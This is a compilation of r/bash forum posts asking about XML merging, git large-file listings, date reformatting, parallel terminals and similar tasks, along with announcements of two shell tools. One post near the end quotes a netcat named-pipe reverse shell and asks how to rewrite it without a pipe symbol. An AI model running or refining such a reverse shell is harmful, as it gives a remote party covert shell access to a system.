Import select fields from one XML into another?
I have two copies of an XML file. The file is a database for a media library with e.g. name, description, play count, etc.
One copy is "dirty," it's got errors in it, entries for items that don't exist in the library, etc. But it has the play count data that I want to preserve.
The other copy is "clean," it has all the errors corrected and the missing entries removed...but it's missing the play count.
What I want to do is, for each entry in the "clean" list, if that entry exists in the "dirty" list (it always should) and if that dirty entry has a <playcount>
field (it might or might not), then import that field from the "dirty" list into the "clean" list.
This feels simple and difficult at the same time. I'm not well versed in XML manipulation. Is this something we can do? I have access to xmlstarlet
, or other tools available on raspberry pi legacy (arm Linux/Debian 10.)
https://redd.it/118pi26
@r_bash
I need some bash help
I need to convert all my ps1 games to chd files (type of compressed data) and I'm having trouble with part of automating it. What i need to do is used sed to get the file names (or if there is a way to strip extensions then use that) and then for everyone one of those files extract it, go into the folder created run chdman, copy the .chd file back to the main directory with the same name then move on to the next one. How can i run that for every file named that. I could probably do it with the find command and not need to do it through bash but I'd like a file to run that would do this
https://redd.it/118mjtg
@r_bash
Systemd in a Debian container on ChromeOs accepts bash
Yup, as long as your scripts executed by a systemd service starts with a bash shebang, things are good. Arrays, and [[ \]\] and other stuff works totally fine.
Even if the documentation states that the scripts must be sh compatible.
https://redd.it/118fy6j
@r_bash
Hello guys how can I revert regex
cat misc.txt | egrep '[[:digit:\]\]{1,2}-[A-Za-z\]{3}-[[:digit:\]\]{4}'
on 18-Jun-1815 outside Brussels, Belgium lasted a whole day and
The American George B. Selden filed for a patent on 8-May-1879.
​
Hello guys I have problem reversing the dates in a format where the year is first like 1815-jun-18 without using date any help will be much appreciated
https://redd.it/117yz67
@r_bash
how do I use/save bash files on windows and execute?
i tried looking it up but i either see download extension for my code editor which hasnt worked or use linux which i can't rn. is there something im missing?
Edit: solved
I used vs code and ctrl + shift +p then selected default profile and chose bash which let me execute the bash file
https://redd.it/117mdtv
@r_bash
How to edit my git command to output requested data using string separator?
Using git I'm getting a list of all large files in a repo. The command looks scary but it's really just pulling data and then doing some data engineering.
git rev-list --objects --all |
git cat-file --batch-check='%(objecttype) %(objectname) %(objectsize) %(rest)' %(id)' |
sed -n 's/^blob //p' |
sort --numeric-sort --key=2 |
gcut -c 1-12,41- |
$(command -v gnumfmt || echo numfmt) --field=2 --to=iec-i --suffix=B --padding=7 --round=nearest
Here is an example output of what the script above pumps out: ne3ee2e43e12 1.0MiB path/to/large/files.png ID
I would like to use a semi-colon as a delimiter between each datapoint called in the command. So the expected output would be like this:ne3ee2e43e1x; 1.0MiB; path/to/large/files.png; ID
I can do so like this:
git rev-list --objects --all |git cat-file --batch-check='%(objectname);%(objecttype);'
Adding semi-colons in between each git object. But for some reason when I combine everything together, the script does not work?
How can I fix my script below to get it working and add semi-colon separators for my --batch-check param?
git rev-list --objects --all | git cat-file --batch-check='%(objecttype);%(objectname);%(objectsize);%(rest)' | sed -n 's/^blob //p' | awk '$2 >= 2^20' | sort --numeric-sort --key=2 | gcut -c 1-12,41- |$(command -v gnumfmt || echo numfmt) --field=2 --to=iec-i --suffix=B --padding=1 --round=nearest
https://redd.it/117li9u
@r_bash
New subreddit dedicated only to POSIX-compliant shell scripting (bashisms stay here)
https://www.reddit.com/r/posixshell
https://redd.it/1170u3l
@r_bash
I have files in .epub and .mobi format, most are in both formats, but I want to find out (recursively) if any are in one format only
Just to make it clear, the basenames are the same, only the extensions differ if a file is in both formats. Files could be anywhere in a directory tree, but always grouped together.
Is there an easy way (which I can't think of at the moment) to spit out the unique files in one format which have no counterpart in the other format?
https://redd.it/116kl4b
@r_bash
Trouble finding info on for loops that include and print out user input?
I can't seem to find any examples online of a script that repeats user input to stdout a certain number of times??
#!/bin/bash
# Display message 5 times
for ((i = 0 ; i < 5 ; i++)); do
echo "Welcome $i times."
done
Here's a C-style for loop but what if I want to repeat a string, like "look at this repeat" for a set amount of times? I feel incredibly dumb I can't do this.
https://redd.it/115k1ot
@r_bash
How to force a script to wait for its child gnome-terminal windows to finish before continuing its own execution
How can I force a script to wait for its child gnome-terminal windows to finish before continuing its own execution? When I run the script below, the father script does not wait for the children to finish execution and outputs "Finished" while they are still running.
I have this code:
gnome-terminal -- bash -c "cd /home;find . -name "foo" | tee /home/$USER/log-home.txt";
gnome-terminal -- bash -c "cd /home/$USER; find . -name "foo" | tee /home/$USER/log-$USER.txt";
wait;
echo "Finished";
Thanks
https://redd.it/115cwde
@r_bash
File with a variable of the date as part of the filename.
I am trying to use bash to create a backup of an existing file with a variable of the date as part of the filename.
#!/bin/bash
dateandtime= date +%F-%H-%M-%S
sudo cp /etc/pacman.d/mirrorlist /etc/pacman.d/mirrorlist${dateandtime}.bak
echo "Mirror file backup created: /etc/pacman.d/mirrorlist${dateandtime}.bak"
sudo reflector --latest 20 --protocol https --sort rate --save /etc/pacman.d/mirrorlist
echo "Mirror list update complete."
Mirror file backup created: /etc/pacman.d/mirrorlist.bak
Script to change system spelling language
Right now I'm using an AppleScript to do this, but the script is a bit long to execute, plus it shows some UI elements and I'd like for the process to be hidden.
Is there a defaults write command that would allow to toggle the system spelling language between US English and French?, or at least to switch from one to the other?
Thanks.
https://redd.it/114wjw1
@r_bash
fun with sed/awk
i do have to say it is a bit frustrating that some binaries in freeBSD/macOS dont translate over to other *nixs..probably licensing, however..
​
i have out input in a var that reads as below, new lines and spaces:-
this is string 1
this is string two
this is string threeee
​
and so forth, i have been able to get them on to one line and get quotes on the end in the standard macOS bash scrpit, but for the love of god, i cant get it into the right format, i've tried awk, sed and tr.
​
what i need:
"this is string 1" "this is string two" "this is string threee"
grateful for any ideas..
https://redd.it/114hh6p
@r_bash
How can I run commands in parallel and write the output of each command to different linux terminals, one linux terminal for each command running in parallel.
I want to run commands in parallel with a bash script. I know adding the ampersand allows to run a command in background and continue with the script without waiting for the launched process to finish. I think the processess launched in background with ampersand do not output a log on a terminal though.
​
Is there any way to launch several commands in parallel while the output/log of each command is written to a different terminal window? I would like to see the logs of each process launched in parallel after all of them finish their execution.
Thanks
https://redd.it/1140cr2
@r_bash
Killport - A Simple Script to Kill Processes on a Port
Have you ever encountered the issue of not being able to start a process because the port is already in use? Killport is a simple script that allows you to quickly kill any process running on a specified port.
Using Killport is easy. Simply provide the port number as a command-line argument and the script will automatically find and kill any process running on that port. The script works on both macOS and Linux, and it is easy to install.
​
killport
Give it a try and let me know what you think.
give a ✨ star, if you liked it. Github
https://redd.it/113jses
@r_bash
What is a good way to learn bash scripting
So I'm comfortable using bash at the commandline but i know little about scripting with it. What are some good ways to learn and practice with it
https://redd.it/118nry1
@r_bash
Ctrl + Meta(Windows) + Right/Left - How come it isn't well known?
So I've accidentaly (I have ctrl + alt + left/right bound as home/end) discovered that ctrl + meta + left/right in bash jumps the cursor between words/commands/arguments/whatever, separated by any non-alphanumerical sign, like whitespaces, slashes, underscores, so for example instead of manually replacing file name in a long path I can easily jump to the last slash and use alt+d to remove the filename and type another.
Why I haven't seen this anywhere in 20 years of using linux? I couldn't find any docs using Google either, and it is soooo useful.
https://redd.it/118jmc6
@r_bash
Headphone indicator bash script help
Script suppose to show an headphone icon when the headphone is contented, and remove it when the headphone jack is removed.
the problem is with the pid
and kill pid
, I can remove the icon from the terminal using pidof
and kill
commands but it doesn't work from the script.
#!/bin/bash
FLAG=1
while true; do
HEADPHONE=$(amixer -c 0 contents | awk -F "=" 'FNR == 3 {print $2}')
if [ "$HEADPHONE" = "on" && $FLAG -eq 1 ]; then
yad --notification --image="/home/oren/Documents/headphone.png"
PID=$(pidof yad |awk '{print $1}')
FLAG=0
echo "$(date) on flag $FLAG PID $PID" >> "/home/oren/Documents/headphone.log"
fi
if [ "$HEADPHONE" = "off" && $FLAG -eq 0 ]; then
kill '$PID'
FLAG=1
echo "$(date) off flag $FLAG PID $PID" >> "/home/oren/Documents/headphone.log"
fi
sleep 1
done
https://redd.it/1183pvy
@r_bash
decrypt a file in bash
i have a scrip that i am looking to automate so as to have it run once a month. my issue is that this bash script reads the password file but cannot come up with a way to secure that password file so its not in plain text. any idea how i can encrypt and decrypt that password file and decrypt it using the script and still keep it secured? decryption inside the script is not working as its simply leaving the key under the door
https://redd.it/117xgr0
@r_bash
Script cannot use text file given as command line arguments
Practicing some basic bash to prepare for a new job. I am using a cygwin terminal on windows 10.
I am trying to output the text from a file (numbers.txt in my cwd) which I am entering as parameter with this line.
​
cat $1
​
I keep getting this error
​
cat: 'numbers.txt'$'\\r': No such file or directory
​
What am I doing wrong?
https://redd.it/117mqzt
@r_bash
How to add an input that is actually multiple hexadecimal elements
I have an input like this
“30 0A 0F” that is enter into the command line
I’m not sure how to loop through and add these numbers. I have tried using printf but I don’t have a decimal to hex conversion. I need these strings to individually be casted hexadecimal as is.
How can I do this?
https://redd.it/117gs0u
@r_bash
bash-completor: Creating a bash completion script in a declarative way
Writing a [programmable completion](https://www.gnu.org/software/bash/manual/html_node/A-Programmable-Completion-Example.html) for Bash is difficult for novices. It may take much time on debugging.
Even though there is a library of completion scripts like [scop/bash-completion](https://github.com/scop/bash-completion), it only includes common commands. For some commands that are not commonly used, we have to write completion scripts by hand.
To reduce the painful time developers spend with developing, I created [bash-completor](https://github.com/adoyle-h/bash-completor).
It is a Bash completion script generator written in bash script. It provides a declarative way to help developer to implement bash completions quickly.
## Feature
* Declarative programming. You only need to know the most basic bash syntax.
* Only `bash` and `sed` are needed on at compile time. Only `bash` is needed on at runtime. No other dependencies.
* Support for command format looks like `<cmd> [options] [arguments]`.
* Support for sub-commands, which looks like \`<cmd> \[cmd-options\] <subcmd> \[subcmd-options\] \[arguments\]\`.
* Support for `-o`, `--option`, `--option <value>`, `--option=`, `+o`, `+option` format.
* Support for completing file or directory paths.
* Support for completing word lists.
* Support for custom completion functions.
* Friendly config typo checking and suggestions.
## Requirements
* For building script.
* Bash v4.3+
* cat, sed (GNU or BSD compatible)
* For runtime.
* Bash v4.0+
# [Installation](https://github.com/adoyle-h/bash-completor#installation)
## Usage
Take the example of creating bash-completor's own completion script.
First, create the configuration file `completor.bash`.
The configuration file is also written in Bash syntax. You only need to know the most basic Bash syntax.
output=dist/bash-completor.completion.bash
authors=('ADoyle (adoyle.h@gmail.com)')
cmd=bash-completor
cmd_opts=(
-c:@files
-h --help
--version
)
That's all. Then execute `bash-completor -c ./completor.bash` to generate the completion script. Done.
For complex examples, see below links.
* [zig.completor.bash](https://github.com/ziglang/shell-completions/blob/master/zig.completor.bash)
* [nvim-shell-completions/nvim.completor.bash](https://github.com/adoyle-h/nvim-shell-completions/blob/master/nvim.completor.bash)
* [Other examples](https://github.com/adoyle-h/bash-completor/tree/master/example)
Read [this document](https://github.com/adoyle-h/bash-completor/blob/master/docs/syntax.md) for the syntax.
## The completion script
The generated completion script follows below code style. No worry about naming conflict. And it's easy to debug at runtime.
* The main command completion function must be `_${cmd}_completions`
* All subcmd completion functions must be named with prefix `_${cmd}_completions_${subcmd}`
* All other variables and functions must be named with prefix `_${cmd}_comp_`
* The variable of main command options must be `_${cmd}_comp_cmd_opts`
* The variable of subcmd options must be named with prefix `_${cmd}_comp_subcmd_opts_${subcmd}`
* All reply functions must be named with prefix `_${cmd}_comp_reply_`
* All customized reply functions must be named with prefix `_${cmd}_comp_reply_custom_`
​
If you like it, please give a star to the repo. [https://github.com/adoyle-h/bash-completor](https://github.com/adoyle-h/bash-completor)
https://redd.it/116qbw9
@r_bash
Bash on M2 not accepting multi-line code.
Previously, I've always been able to paste my scripts into iTerm/ Bash 5 without issue. Ever since migrating from the 2018 mini to the 2023 M2 Mac mini, no multi-line code seems to work. I'm even having trouble running scripts "./myscript.sh" after chmod of 777. Am I going crazy?
https://redd.it/11603we
@r_bash
mapping to control key
Hi,
is it possible to map a function key (f9 say) to a key with control-prefix (control-n say)?
I have tried
bind "\e20~":"\C-n"
But that does not work...
Many thanks.
[https://redd.it/115hree
@r_bash
Need helping figuring out what's wrong with this script on MacOS
I'm currently trying to turn some bash script that's in the form of a '.command' file into an App/Quickaction that can be run, using Automator on MacOS.
This is the original script: \(pastbin link\)
This is as far as I've gotten: \(pastebin link\)
When running the script, the finder window appears to choose a folder, I get a GUI popup to input a password, but then I get this error:
The action “Run Shell Script” encountered an error: “-: -c: line 143: syntax error: unexpected end of file”
I'm not really sure how to end this script, googling is not helping in this specific case either.
Any help would be appreciated!
https://redd.it/115a407
@r_bash
posix Properly store positional arguments in string
I have the following script:
cmd="rg --ignore-case --files-with-matches {q} $@"
file=$(
FZFDEFAULTCOMMAND="rg --files $@" fzf \
--bind "ctrl-a:select-all" \
--bind "change:reload:$cmd" \
--disabled \
--preview "rg --ignore-case --pretty --context 2 {q} {}"
)
Here I store the positional arguments (paths for rg to search from) into the string variable $cmd
, which is then passed as a literal string in --bind "change:reload:$cmd" \
. However, shellcheck throws an error regarding assigning array to string that I don't understand if it's relevant.
To test, I made a directory with a space in its name and ensures it should containing a match, then past this as an argument to the script quoted. Sure enough, it doesn't show up so apparently the directory named "test me" is not interpreted as "test" "me" where the quotes are lost.
So is the issue here that "quotes" are lost since POSIX doesn't support arrays, making everything space delimited, which is problematic when you also have spaces in the arguments? How would I go about properly storing the positioning arguments with them quoted to account for spaces in the cmd
string then? I'm pretty sure the suggested solution from shellcheck does not apply--the page doesn't mention any sort of quoting issue either.
Essentially, the line --bind "change:reload:$cmd" \
should be expanded to e.g.
--bind "change:reload:rg --ignore-case --files-with-matches {q} '/home/user/bin' '/home/user/test me'" \
when the script is passed the arguments: ~/bin "~/test me"
Much appreciated.
https://redd.it/1150jis
@r_bash
Show Output for Two Simultaneous Uploads
I have a script that uploads a file, at the same time, to two different platforms. I want to be able to see the progress of both uploads, at the same time. Here is part of my script:
#When the transfer is complete, attempt upload the mp4:
if [[ ! -f $SAJSON ]];
then
echo -e "No json file found. Not uploading. Please manually upload."
elif [[ {$OUTPUT} = *"Movie Info"* ]]; then
cp $SRVPATH/Archive/$yyyy/$EMAILFILENAME.mp4 \
$SRVPATH/Archive/$yyyy/$SA-ID.mp4
{ echo -e "Uploading to SA...\n" & \
rclone move $SRVPATH/Archive/$yyyy/$SA-ID.mp4 \
sa-auto:sa-id-text -P -v & echo -e "Uploading to YouTube...\n" & \
youtubeuploader -filename $SRVPATH/Archive/$yyyy/$EMAILFILENAME.mp4 \
-secrets $SRVPATH/AppData/youtubeuploader/client_secrets.json \
-cache $SRVPATH/AppData/youtubeuploader/request.token \
-metaJSON $YTJSON; } 2>&1
echo -e "\nDone.\n"
echo -e "Removing ${SAJSON##*/} & ${YTJSON##*/}\n"
rm $SAJSON $YTJSON
echo "Done."
fi
As you can see, I attempted `{ echo & command1 & echo & command2; } 2>&1` but it produces:
Uploading to SA...
Uploading to YouTube...
Uploading file '/srv/dev-disk-by-uuid-49e4aa1a-279a-45ce-b23e-467c2b2a4162/Archive/2023/2023-02-19_14-45-23.mp4'
And the rest is just the transferring status of YouTube only (I think; maybe it's a mixture?). Once YouTube completes, then it shows the other platform upload, but it als shows a weird mixture of both (my comments in the code):
Uploading to SA...
Uploading to YouTube...
#This is is YouTube:
Uploading file '/srv/dev-disk-by-uuid-49e4aa1a-279a-45ce-b23e-467c2b2a4162/Archive/2023/2023-02-19_14-45-23.mp4'
#This is SA platform:
2023-02-17 14:10:07 INFO : 2172307128007.mp4: Copied (new)
2023-02-17 14:10:07 INFO : 2172307128007.mp4: Deleted
#I'm not sure what this is:
Transferred: 56.265 MiB / 56.265 MiB, 100%, 622.384 KiB/s, ETA 0s
Checks: 2 / 2, 100%
Deleted: 1 (files), 0 (dirs)
Renamed: 1
Transferred: 1 / 1, 100%
Elapsed time: 1m18.0s
2023/02/17 14:10:07 INFO :
Transferred: 56.265 MiB / 56.265 MiB, 100%, 622.384 KiB/s, ETA 0s
Checks: 2 / 2, 100%
Deleted: 1 (files), 0 (dirs)
Renamed: 1
Transferred: 1 / 1, 100%
Elapsed time: 1m18.0s
#This is the SA platform (using Dropbox):
2023/02/17 14:10:07 INFO : Dropbox root 'sa-id-text': Commiting uploads - please wait...
Progress: 9.57 Mbps, 58998558 / 58998558 (100.000%) ETA 0s
#This is YouTube again:
Upload successful! Video ID: asdfghjkl
Video added to playlist 'Playlist Title' (qwertyuio-)
https://redd.it/114tyym
@r_bash
Turbocharge your terminal productivity with zsh-autosuggestions! (1mn)
https://www.youtube.com/watch?v=0r1mxuAzqS0
https://redd.it/1142z89
@r_bash
Question How would I rewrite this command using no pipe?
Hey, today I wanted to create a tcp shell. But I don't want to write the pipe (|) symbol. Is there a way to restructure this command without breaking its functionality?nc $IP $PORT < myfifo | /bin/bash -i > myfifo 2>&
https://redd.it/113t90p
@r_bash
Write a bash script which runs other bash scripts one after the other?
In python and other languages I can write two scripts, and then reference them in a main() function and run them one after the other.
is there an equivalent in bash?
Is it like below?
#!/bin/bash
# Run script1.sh
./script1.sh
# Run script2.sh
./script2.sh
​
https://redd.it/113k546
@r_bash